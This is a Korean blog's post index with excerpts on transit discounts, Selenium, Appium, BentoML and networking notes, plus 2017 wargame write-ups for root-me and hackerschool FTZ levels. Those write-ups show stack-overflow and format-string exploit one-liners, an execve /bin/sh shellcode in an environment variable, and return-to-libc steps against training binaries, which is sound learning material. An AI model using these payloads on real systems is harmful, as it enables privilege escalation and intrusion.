wooy0ng의 등록된 링크

 wooy0ng로 등록된 네이버 블로그 포스트 수는 117건입니다.

(일상정보) K-패스 가입 방법 / K-PASS [내부링크]

K-패스 2024년 5월부터 시행되는 'K-패스'라는 새로운 교통카드 할인 정책이 시행됩니다. 'K-패스'는 서울 및 지방자치단체가 출시하는 다양한 교통카드 할인 정책 중 하나로, 대중교통을 많이 이용하는 사람들의 경제적 부담을 덜어주기 위해 만들어졌습니다. 'K-패스'는 이용자가 이미 지불한 교통비의 일부를 마일리지로 환급해주는 시스템입니다. 19~39세 청년은 교통비의 30%를 환급받을 수 있으며, 일반 사용자는 20%를 환급받을 수 있습니다. 'K-패스'는 한 달에 15회 이상 대중교통을 이용하는 사람을 대상으로 최대 60회 까지 교통비로 사용할 수 있는 마일리지 방식으로 환급받을 수 있습니다. 전국의 모든 지하철(신분당선 포함), 시내버스, 광역버스, GTX에서 이용할 수 있습니다. K-패스 신청 방법 1. 카드 발급 신청 아래의 K-패스 가입 안내 페이지에서 자신이 원하는 은행의 K-패스 가입 홈페이지로 접속하는 방식으로 발급 신청할 수 있습니다. K-패스 공지사항 안녕하세

(Selenium) Selenium Grid의 개요 및 예제 [내부링크]

Selenium Grid의 개요 및 예제 Selenium 웹 어플리케이션을 개발하고 유지 관리할 때 반복적으로 수행되는 테스트를 수행하는 것은 시간이 매우 오래 걸리고 비효율 적일 수 있다. 따라서 자동화 도구가 필요하게 되었고, Selenium은 이러한 필요성을 충족시키기 위해 개발되었다. Selenium은 웹 어플리케이션을 테스트하기 위한 자동화 도구로, 웹 브라우저를 제어하며 사용자와 상호 작용하는 테스트를 자동화할 수 있게 해준다. 주로 웹 어플리케이션의 기능, 성능 및 호환성을 테스트하는 데 주로 사용된다. 주요 컴포넌트 Selenium은 Python, Java 등 다양한 언어를 지원하는 자동화 도구이다. 크게 아래와 같이 3개의 주요 컴포넌트를 가지고 있다. Selenium IDE Selenium IDE는 웹 브라우저에서 실행되는 Firefox 및 Chrome용의 사용자 친화적인 자동화 도구이다. 각 브라우저의 확장 프로그램을 통해 테스트 케이스를 만들고 실행할 수 있다.

(appium) Appium driver install fails while checking drivers compatibility [내부링크]

현상 appium cli를 이용해 드라이버를 설치하려고 할 때 아래와 같은 오류가 발생한다. $ appium driver install uiautomator2 × Checking if 'appium-uiautomator2-driver' is compatible Error: npm command 'info appium-uiautomator2-driver peerDependencies dependencies -json' failed with code EINVAL. STDOUT : STDERR : 해결 방법 %AppData%\npm\node_modules\appium\node_modules\teen_prosess\build\lib\exec.js 위 파일의 내부에서 opts 오브젝트의 shell 요소에 대한 값을 undefined에서 true로 변경한다. opts = /** @type {T} */ (lodash_1.default.defaults(opts, { timeout: null, en

(appium) Appium를 이용한 Emulator 접근 [내부링크]

Appium Appium은 앱에서의 자동화를 위한 프레임워크이다. Android, iOS 어플리케이션을 자동화하는 데 주로 사용된다. 핵심 특징은 다음과 같다. 크로스 플랫폼 지원 한 번의 실행으로 여러 플랫폼에서 어플리케이션을 자동화할 수 있다. 네이티브 앱 지원 앱이 기기나 에뮬레이터(emulator)에 직접 설치되어 있을 때, 그 앱에 대한 행위를 자동화할 수 있다. 웹 앱 지원 모바일 웹 브라우저에서 실행되는 웹 어플리케이션을 자동화할 수 있다. 하이브리드 앱 지원 내부 Web View를 사용하는 하이브리드 어플리케이션을 자동화할 수 있다. 언어 독립성 Appium은 Java, Python, Java Script 등 다양한 언어로 작성할 수 있다. 오픈소스 오픈소스이므로 무료이다. Appium를 이용한 Emulator 접근 먼저 Appium의 UIAutomator2 패키지를 설치하도록 하자. $ appium driver install uiautomator2 UIAutomato

(appium) Appium Server 설치 [내부링크]

Appium Appium은 앱에서의 자동화를 위한 프레임워크이다. Android, iOS 어플리케이션을 자동화하는 데 주로 사용된다. 핵심 특징은 다음과 같다. 크로스 플랫폼 지원 한 번의 실행으로 여러 플랫폼에서 어플리케이션을 자동화할 수 있다. 네이티브 앱 지원 앱이 기기나 에뮬레이터(emulator)에 직접 설치되어 있을 때, 그 앱에 대한 행위를 자동화할 수 있다. 웹 앱 지원 모바일 웹 브라우저에서 실행되는 웹 어플리케이션을 자동화할 수 있다. 하이브리드 앱 지원 내부 Web View를 사용하는 하이브리드 어플리케이션을 자동화할 수 있다. 언어 독립성 Appium은 Java, Python, Java Script 등 다양한 언어로 작성할 수 있다. 오픈소스 오픈소스이므로 무료이다. Appium Server 설치 npm 설치 Appium 서버는 node.js로 구현되어 있기 때문에 npm을 이용한 설치가 선행되어야 한다. https://nodejs.org/ 로 접근하여 사용자의

(정보처리기사) 2023 2회차 정보처리기사 정리본 - 필기/실기 [내부링크]

굿노트 정리 중 그냥 버리기는 아까워서 공유하고자 합니다. 제가 외우기 쉽게 책 순서와는 관계없이 뒤죽박죽으로 용어가 정리되어 있을 수도 있습니다. 제 글씨체가 악필로 보일 수도 있겠네요ㅎㅎ 보기 어려워서 바로 삭제하시는 분들도 계시겠지만, 누군가에게는 도움이 되었으면 하는 마음으로... 필기(평균 75점), 실기(72점) 1트합 했습니다. 필기 첨부파일 정보처리기사필기정리.pdf 파일 다운로드 실기 첨부파일 정보처리기사실기정리.pdf 파일 다운로드

(BentoML) BentoML 개요 및 구성 [내부링크]

모든 내용은 아래 Document를 참고했다. 또한 모든 내용은 pytorch를 기준으로 작성되었음을 미리 알리겠다. Installation BentoML is distributed as a Python Package available on PyPI. Install BentoML alongside with whichever deep learning library you are working with, and you are ready to go! BentoML supports Linux/... docs.bentoml.org BentoML 최근에는 Flask나 FastAPI 파이썬 백엔드를 활용하여 직접 머신러닝 서버를 개발한다. 서버에 사용할 모델이 1~2개 정도면 큰 무리 없이 개발이 가능하지만 만약에 서버에 사용할 모델이 수십개, 혹은 그 이상이라면 서버 개발에 있어 반복되는 작업이 많아지고 서비스를 위한 Serving에 더 많은 공을 들여야 한다. 많은 개발자들은 이 과정을 빠

(부스트캠프) 네이버 부스트캠프 AI Tech 4기 지원 후기 [내부링크]

지원 동기 우선 필자는 이미 KDT 프로그램을 한번 수강한 이력이 있기 때문에 KDT 전형이 아닌 일반 전형으로 지원했음을 먼저 밝히도록 하겠다. 인공지능을 접하게된 계기는 몇년 전 CERT에서 근무를 하며 여러 보안 장비를 다루면서부터였다. 보안 장비에서 발생하는 수많은 데이터를 어떻게 하면 버리지 않고 재활용 할 수 있을까에 대한 단순한 호기심으로부터 시작되었다. 처음 독학을 시작했을 때는 정말 힘들었던 것 같다. 비전공자이기도 했었고 어디서, 무엇을 먼저 공부해야하는지도 몰랐기 때문에 그냥 보이는 것부터 차례대로 블로그에 기록하면서 공부를 시작했었다. 그렇게 공부를 계속하다가 너무나 운이 좋게도 프로그래머스의 인공지능 데브코스에 참여할 기회가 나에게 주어져서 6개월 가까운 시간동안 여러 사람들과 함께 인공지능 공부를 하게 되었다. 정말 혼자서는 얻을 수 없었던 많은 정보들을 얻게 되었고 인공지능이라는 분야 안에도 정말 다양한 도메인이 존재한다는 것을 알게되었다. 그리고 자연어

hackerschool lob 이미지파일 링크 [내부링크]

hackerschool lob hackerschool lob 이미지파일 링크 wooy0ng 2017. 11. 15. 18:59 이웃추가 본문 기타 기능 http://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885 [공지] BOF 원정대 서비스를 오픈합니다. http://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885 [복사] [BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다. [접속 방법] BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다. 따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입 www.hackerschool.

ELF x86 - Format string bug basic 1 [내부링크]

root-me ELF x86 - Format string bug basic 1 wooy0ng 2017. 11. 13. 19:10 이웃추가 본문 기타 기능 우선 코드를 보자 #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]){ FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt"); char buffer[32]; fgets(buffer, sizeof(buffer), secret); printf(argv[1]); fclose(secret); return 0; } 한눈에 fsb가 있다는 것을 볼 수 있다 버퍼에다가 passwd를 넣었으므로 인자 값에 "%8x" 을 넣어서 패스워드를 읽어오자. 804b00839617044282936646d617045 이 부분에서 804b008이 쓰레기값이라서 이 값을 빼고, 이 값들은 리틀 엔디안으로 저장되어 있을테니 4

ELF x86 - BSS buffer overflow [내부링크]

root-me ELF x86 - BSS buffer overflow wooy0ng 2017. 11. 13. 18:38 이웃추가 본문 기타 기능 #include <stdio.h> #include <stdlib.h> char username[512] = {1}; void (*_atexit)(int) = exit; void cp_username(char *name, const char *arg) { while((*(name++) = *(arg++))); *name = 0; } int main(int argc, char **argv) { if(argc != 2) { printf("[-] Usage : %s <username>\n", argv[0]); exit(0); } cp_username(username, argv[1]); printf("[+] Running program with username : %s\n", username); _atexit(0); return 0; } 위 힌트를 보

ELF x86 - Stack buffer overflow basic 4 [내부링크]

root-me ELF x86 - Stack buffer overflow basic 4 wooy0ng 2017. 11. 13. 17:11 이웃추가 본문 기타 기능 문제의 코드를 보게되면 구조체를 볼 수 있을 것이다. 이 문제에서의 구조체의 역할은 4가지의 환경변수를 가져와서 사용자에게 보여주는 역할을 하고 있다. 잘 보면 strcpy()함수를 이용하여서 환경변수를 길이제한없이 스택으로 가지고오는것을 볼 수 있다. 즉, strcpy()함수에서 overflow가 일어날 것 같다. 한번 실행을 시켜보자. 실행을 해보니 환경변수 USERNAME가 비어있다는 것을 확인할 수 있다. gdb로 들어가보았다. 들어가서 보니 GetEnv() 구조체 함수가 보인다. 우선 GetEnv()의 스택공간은 0x22c(556)이다. 그런데 strcpy()함수가 호출되기 전의 상황을 자세히 보자. ebp - 0x21c 을 볼 수 있을 거다. 그래서 나는 환경변수는 ebp - 0x21c 부터 볼 수 있을 것이라고

ELF x86 - Stack buffer overflow basic 3 [내부링크]

root-me ELF x86 - Stack buffer overflow basic 3 wooy0ng 2017. 11. 12. 1:18 이웃추가 본문 기타 기능 이 문제는 hackerschool의 18번문제와 매우 유사한것 같다. 버퍼의 index값을 음수로 바꾸어서 다른 변수에 접근 가능함을 이용하여서 풀었다. (python -c 'print "\x08"*4 + "\xbc\xfa\xff\xbf"';cat)|./ch16

ELF x86 - Stack buffer overflow basic 2 [내부링크]

root-me ELF x86 - Stack buffer overflow basic 2 wooy0ng 2017. 11. 12. 1:09 이웃추가 본문 기타 기능 단순한 스택 오버플로우 문제이다 그냥 버퍼의 시작위치만 안다면 아주 쉽게 풀 수 있다. (python -c 'print "A"*128 + "\x64\x84\x04\x08"';cat)|./ch15

ELF x86 - Stack buffer overflow basic 1 [내부링크]

root-me ELF x86 - Stack buffer overflow basic 1 wooy0ng 2017. 11. 12. 0:57 이웃추가 본문 기타 기능 단순한 스택 오버플로우 문제이다. 버퍼의 시작위치를 잘 보면 쉽게 풀 수 있다. (python -c 'print "A"*40 + "\ef\xbe\xad\xde"';cat)|./ch13

ftz.hackerschool.org level18 [내부링크]

hackerschool ftz ftz.hackerschool.org level18 wooy0ng 2017. 11. 4. 18:40 이웃추가 본문 기타 기능 이번에는 level18을 풀려고 합니다. 언제나 그랬듯이 힌트를 봅시다! // hint.c #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_

ftz.hackerschool.org level17 [내부링크]

hackerschool ftz ftz.hackerschool.org level17 wooy0ng 2017. 11. 4. 17:39 이웃추가 본문 기타 기능 이번에는 level17 포스팅을 하겠습니다. 힌트를 보시면 level16과 매우 유사한 코드를 가지고 있는데요 level16과 같이 함수 포인터 *call의 위치가 어디있는지만 확인하면 쉽게 풀수 있을 것 같습니다. gdb를 이용하여 디버깅 해봅시다. 요로코롬 나오게 되네요ㅎ main + 6부분을 잘 보면, 함수주소를 ebp - 16 의 위치로 가지고 오는 것을 보실 수 있습니다. 네 [ebp - 16] 이 함수 포인터가 저장된 곳이겠네요. 그렇다면 이 부분을 overwrite하면 쉽게 풀 수 있을 것 같습니다. 환경변수를 이용하여서 export shell="`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x5

ftz.hackerschool.org level12 (rtl) [내부링크]

hackerschool ftz ftz.hackerschool.org level12 (rtl) wooy0ng 2017. 10. 29. 20:08 이웃추가 본문 기타 기능 이번에는 level12를 RTL의 방법으로 풀겠습니다. (32bit환경) RTL이란 return to library의 약자로써 주로 NX보호기법이 걸려있을 상황에 사용하는 방법입니다. Retr 주소에 libc라는 공유라이브러리 함수 주소로 덮어버려서 system()함수를 호출하도록 유도하는것입니다. 이 문제의 힌트입니다. gets()함수를 사용하여서 사용자로부터 무한정 입력받을 수 있기 때문에 bof취약점이 발생합니다. 여기서 RTL을 사용하여 풀어보도록 하겠습니다. 우선 gdb를 이용하여서 system()함수가 어디에 위치하는지 알아내야합니다. 그래서 저는 main()에 break point를 걸고 system()함수의 주소를 알아내기로 했습니다. 브포를 건 뒤에 실행을 시키고 나서 system()함수의 주소를 확인

ftz.hackerschool.org level16 (bof) [내부링크]

hackerschool ftz ftz.hackerschool.org level16 (bof) wooy0ng 2017. 10. 28. 12:41 이웃추가 본문 기타 기능 이번 포스팅은 level16에 대한 풀이입니다 틀린 부분 언제든지 지적 부탁드립니다! 처음으로 힌트를 한번 볼까요? void (*call)() = printit; 함수 포인터를 이용해서 함수의 주소를 받는 부분이 있네요? 또한 fgets()부분에서 bof가 발생하네요. 저 포인터의 주소를 shell()함수의 주소로 바꾸게 된다면 문제를 풀 수 있을 것 같아요. gdb로 스택을 한번 봅시다. buf[20]배열의 시작 주소는 ebp-56 인 것 같습니다. 또한 함수의 주소를 받는 함수 포인터가 위치하는 곳은 ebp - 16 인 것 같아요. 혹시 모르니 확인을 한번 해볼까요? 네 확실한것 같습니다ㅎ 이 부분을 shell()함수의 주소로 바꾸면 이 문제를 풀 수 있을 것 같네요. shell()함수의 주소도 알 수 있습니다.

ftz.hackerschool.org level15 (bof) [내부링크]

hackerschool ftz ftz.hackerschool.org level15 (bof) wooy0ng 2017. 10. 28. 1:53 이웃추가 본문 기타 기능 이번 포스팅은 level15 풀이입니다. 틀린 부분이 있다면 언제든지 지적해주세요! 먼저 힌트를 보겠습니다! level14와는 다르게 이번 문제는 비교하는 변수가 포인터라는 것이 다르네요. 문제에서 0xdeadbeef라는 값이 어디에 숨어있는지만 찾으면 쉽게 풀 수 있을 것 같습니다 스택을 한번 봅시다 level14와 거의 흡사하네요ㅎ buf[20]의 시작주소는 [ebp - 56]이고 check포인터 변수는 [ebp - 16]이네요 우리는 check포인터변수의 주소를 다른 값으로 덮을거에요. 한번 찾아봅시다 0xdeadbeef라는 값은 main함수 내에 있으므로 main함수 내의 메모리를 출력해봅시다 deadbeef가 보이나요? 0xdeadbeef를 가지고있는 주소를 알아봅시다. 이제 deadbeef가 있는 주소를 알게

ftz.hackerschool.org level14 (bof) [내부링크]

hackerschool ftz ftz.hackerschool.org level14 (bof) wooy0ng 2017. 10. 28. 1:16 이웃추가 본문 기타 기능 안녕하세요! 이번 포스팅은 level14 문제 풀이입니다 우선 힌트를 먼저 볼까요? buf[20]이 나중에 선언 되었습니다. 그런데 fgets()으로 buf의 크기보다 많이 입력받을 수 있도록 코드가 짜여져 있습니다. 즉, 우리는 bof을 이용하여 다른 변수의 값을 만질 수 있다는 소리죠. check 변수만 만져주면 될 것 같습니다 이제 본격적으로 해봅시다. gdb를 이용하여 스택 상황을 봅시다. 일단은 우리가 사용해야할 buf[20]의 위치를 알아야 할 것 같습니다. fget를 호출 할 때 인자로 buf의 주소를 넣어 줄 것이기 때문에 [ebp - 56]의 위치에 있는 곳이 buf[20]의 시작점이겠네요! 그리고 cmp를 이용하여서 0xdeadbeef랑 [ebp - 16]위치에 있는 값이랑 비교를 하는 것을 보니 [e

ftz.hackerschool.org level13 (bof) [내부링크]

포스팅을 시작하겠습니다! 실행파일을 실행시키기 전에 먼저 힌트를 한번 볼까요? 버퍼 오버플로우를 감지하기 위해서 변수 i에 값을 고정 시켜놓았네요. 그리고 strcpy()함수 때문에 bof취약점이 있네요. 그렇다면 변수 i의 위치만 알면 exploit하는건 쉽겠죠? 시작해봅시다 힌트에서 배열의 크기가 1024byte라서 저는 실행시킬때 1024byte보다 더크게 값을 주면 어떻게 될까 보고싶어서 직접 해보았죠 네 위의 그림처럼 제가 변수 i를 건드린것 같네요. gdb를 통해서 변수 i가 스택 상에서 어느 부분에 있는지 확인해봅시다. [ebp - 12] 부분에 위치하고 있네요. 또한, 배열의 시작위치도 한번 보는게 좋겠죠? [ebp - 1048] 부분에 위치하고 있네요. 여기서 생각을 잠시동안 해 봅시다! 배열의 크기는 1024byte이기 때문에 1024(byte) + 24(dump) = 1048 으로 추정해봅시다. 하지만 변수 i의 위치가 [ebp - 12]이므로 1036(1048

ftz.hackerschool.org level12 (bof) [내부링크]

hackerschool ftz ftz.hackerschool.org level12 (bof) wooy0ng 2017. 10. 22. 15:28 이웃추가 본문 기타 기능 오늘 포스팅은 level12입니다. 잘못한 부분이 있다면 언제든지 지적해주세요! 먼저 들어가서 어떤 파일이나 폴더가 있는지 확인해봅시다. 힌트를 먼저 볼까요? 보시다시피 gets() 함수를 통해서 사용자에게 입력을 요구하네요. 하지만 gets()함수는 사용자에게 입력값의 개수에 제한을 두지 않았기 때문에 스택의 다른 영역을 건드릴 수 있을 것 같습니다. 우리는 스택 영역에 자리잡고 있는 배열을 보기 위해서 gdb를 이용할 것입니다. 먼저 main함수를 보도록 하겠습니다. disas main 우리는 gets()함수를 호출하기 이전의 상황을 자세히 볼려고 합니다. 0x080484a1 <main+49>: lea eax,[ebp-264] 0x080484a7 <main+55>: push eax 그렇다면 스택에서 str[256]

ftz.hackerschool.org level11 (fsb) [내부링크]

오늘도 포스팅을 시작하려고 합니다! 어제에 이어서 오늘은 level11을 fsb로 푸는 방법에 대해 포스팅하려고 합니다 틀린 부분에 대한 지적은 언제나 환영입니다ㅠ level11의 코드입니다 printf( str )로 형식 지정자를 사용해 주지 않았기 때문에 format string bug가 일어날 거에요. * 사전지식으로 format string에 대한 이해가 필요합니다. 간단하게 설명 드리자면, fsb는 서식문자 %n을 사용하여서 푸는것입니다! %n은 독특한 기능을 하는데 %n은 %n이 나오기 이전에 출력된 자릿수를 계산하여 다음 4byte에 있는 내용을 주소로 여기고 그 주소에다가 계산한 자릿수, 즉 숫자를 입력합니다 %임의정수c 로 %n이 인식하는 자릿수를 마음대로 정할 수 있기 때문에 저는 %c를 사용할거에요 그런데 %임의정수c에도 %c라는 서식문자가 포함되어 있기 때문에 역시 스택의 4byte를 출력할거에요 그래서 %임의정수c에 대해서도 출력될 4byte를 써 주어야 해요

ftz.hackerschool.org level11(bof) [내부링크]

hackerschool ftz ftz.hackerschool.org level11(bof) wooy0ng 2017. 10. 10. 21:47 이웃추가 본문 기타 기능 추석때 푹 썩는다고 포스팅을 제대로 못했네요ㅋㅋㅋㅋㅋ 오늘부터 11월이 되기 전까지는 ftz.hackerschool.org의 문제들을 풀이할려고 합니다. 제가 틀린게 있다면 언제든지 지적해주세요! 서로서로 배워가야죠ㅋㅋㅋㅋ 자 시작하겠습니다! 저는 이 문제를 2가지 방법으로 풀었습니다! 첫번째로 strcpy를 이용하여서 사용자에게 문자열 입력에 제한을 걸어주지 않았기 때문에 stack overflow가 일어날 거구요 두번째로는 printf( str )로 형식 지정자를 사용해 주지 않았기 때문에 format string bug가 일어날 거에요. 이 포스팅은 stack overflow로 문제를 해결해 나갈 것입니다 전 실행할 수 밖에 없는 권한이군요 실행파일이 있으니 gdb로 디버깅을 해볼려고 합니다 코드 상에서는 배열의

gdb peda 설치 [내부링크]

hackerschool ftz gdb peda 설치 wooy0ng 2017. 10. 3. 0:13 이웃추가 본문 기타 기능 히히 첫 블로깅이네요~ 제가 블로깅을 잘 할 수 있을지는 모르겠지만 잘 봐주세요! 잘부탁드립니다 ^^ 오늘은 리버서가 되기 위해서 리눅스에 gdb를 깔려고 해요 이 포스트는 우분투 리눅스 환경에서 작업하고 있습니다! 첫번째) apt-get install synaptic 를 설치하고 실행해요. 두 번째) gdb 버전을 낮추어야 python 2.7 버전이 돌아가기때문에 먼저 gdb 버전을 낮추려고 해요. search으로 gdb를 검색한 뒤 settings >> Repositories >> Other >> Add 으로 들어가서 deb http://kr.archive.ubuntu.com/ubuntu/ precise main 을 입력해줍시다. Add Source를 누르고 close를 누르면 Repositories changed 창이 뜨게 되는데, 우리는 Reroad를 누

(데이터통신) chapter 1 : what is the internet [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu what is the Internet? The network edge 네트워크 가장자리, 이름에서 알 수 있듯이 네트워크의 가장 끝자리에서 역할을 수행하는 시스템들을 의미한다. end system의 주체는 여러가지가 될 수 있다. (ex. server, laptop, smart phone, desktop...) 이 때문에 end sy

(데이터통신) chapter 2.1 : Principles of network applications [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu creating a network app 프로그램들은 거의 대부분이 end system에서 동작한다. network core에서는 왜 소프트웨어 프로그램을 만들지 않는걸까? (만들지 않는다기보다는 만들 필요가 없다는 것이 맞을 듯) 왜냐하면 network core에서는 그들만의 주요한 역할이 있기 때문이다. 그 역할에만 충실하라는 소

(데이터통신) chapter 5.1 - 5.2 : Routing algorithm [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Routing algorithm 라우팅 알고리즘은 네트워크에서 경로를 결정해주는 역할을 한다. 경로를 결정하기 위해서는 여러가지 요소가 복합적으로 작용하는데 홉수(Hop Count), 대역폭(Bandwidth), 지연(Delay), 신뢰도(Reliability), 부하(Load) 등이 있다. Routing algorithm의 종류 라

(데이터통신) chapter 4.1 : Overview of Network Layer [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu 4.1 Overview of Network Layer 네트워크 계층은 송신자로부터 수신자까지의 Transport segment를 전송해주는 역할을 수행한다. 여기에서 우리가 보내는 데이터의 단위는 일반적으로 Datagram(=Packet) 이라고 불린다. 다시말해, Transport segment를 보내기 위해 필요한 헤더를 붙인 데

(데이터통신) chapter 5.3 : intra-AS, OSPF [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Hierarchial Routing AS(Autonomous System) 독자적인 관리 체계와 동일한 운영 정책을 가지는 네트워크 집합 일반적으로 인터넷 서비스 제공 회사(ISP)에 따라 구분된다. IGP(Interior Gateway Protocol) 하나의 AS 내에서 라우팅 정보를 교환하는데 사용되는 프로토콜 (RIP, IGR

(데이터통신) chapter 4.4 : Generalized Forward and SDN [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Generalized Forwarding 각각의 라우터는 flow table를 가지고 있다. flow table은 논리적으로 중앙집중적인 라우팅 controller에 의해서 계산되어 각각의 라우터들에게 분배된다. OpenFlow Data Plane abstraction 전세계에서 가장 많이 사용하는 Generalized Forward

(데이터통신) chapter 6.1 : Link layer / introduce [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7, 8th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Link Layer의 특징 물리적으로 인접한 노드를 한 노드에서 다른 노드로 Link를 통해 Datagram을 전송하는 역할을 수행한다. ㆍTerminology : 일반적으로 host와 router를 node라 한다. ㆍLink ( = communication channels ) : communication path를 따라 인접

(데이터통신) chapter 3.6 : TCP congestion control [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Congestion 수많은 host에서 너무 많은 데이터를 빠르게 네트워크로 전송할 때 발생한다. 혼잡이 발생하게 되면 라우터에서 버퍼 오버플로우 현상이 발생하여 패킷이 손실될 수 있고, 라우터 버퍼에서의 Queuing delay가 발생한다. scenario 1 위의 그림에서, 우리는 혼잡을 이해하기 위해 라우터의 버퍼는 무한하다고

(데이터통신) chapter 6.5 : Data center networking [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Data Center Network 초거대 기업들은 호스트를 다루는 개수가 일반 기업과는 차원이 다르다. (e.g. Amazon, Google, Youtube, Microsoft ...) 때문에 엄청난 개수의 호스트들을 어떻게 하면 효율적으로 다룰지를 2000년대 초반부터 고민하기 시작했다. Data Center Network ele

(데이터통신) chapter 6.4 : Link layer / LANs, Switches [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu 네트워크에서는 범위에 따라서 아래와 같이 다르게 부른다. Wide Area Network (WAN) : 광역 통신망, MAN의 집합 Metropolitan Area Network (MAN) : 지역 통신망 Local Area Network (LAN) : 근거리 통신망 6.4장에서는 Link Layer의 LAN에서 동작하는 것들에 대해

(데이터통신) chapter 6.3 : Link layer / Multiple access protocols [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Link를 어떤 방식으로 연결하는지에 따라 2가지로 나뉜다. Point-to-point ㄴ 이더넷 스위치와 이더넷 스위치, 호스트와 호스트간 점대점 연결을 의미한다. ㄴ 대표적으로 PPP프로토콜이 있다. ㄴ 점대점 방식은 대개 네트워크를 구성하는데 비용이 많이 든다. broadcast (shared wire or medium) ㄴ 저

(데이터통신) chapter 6.2 : Link layer / error detection, correction [내부링크]

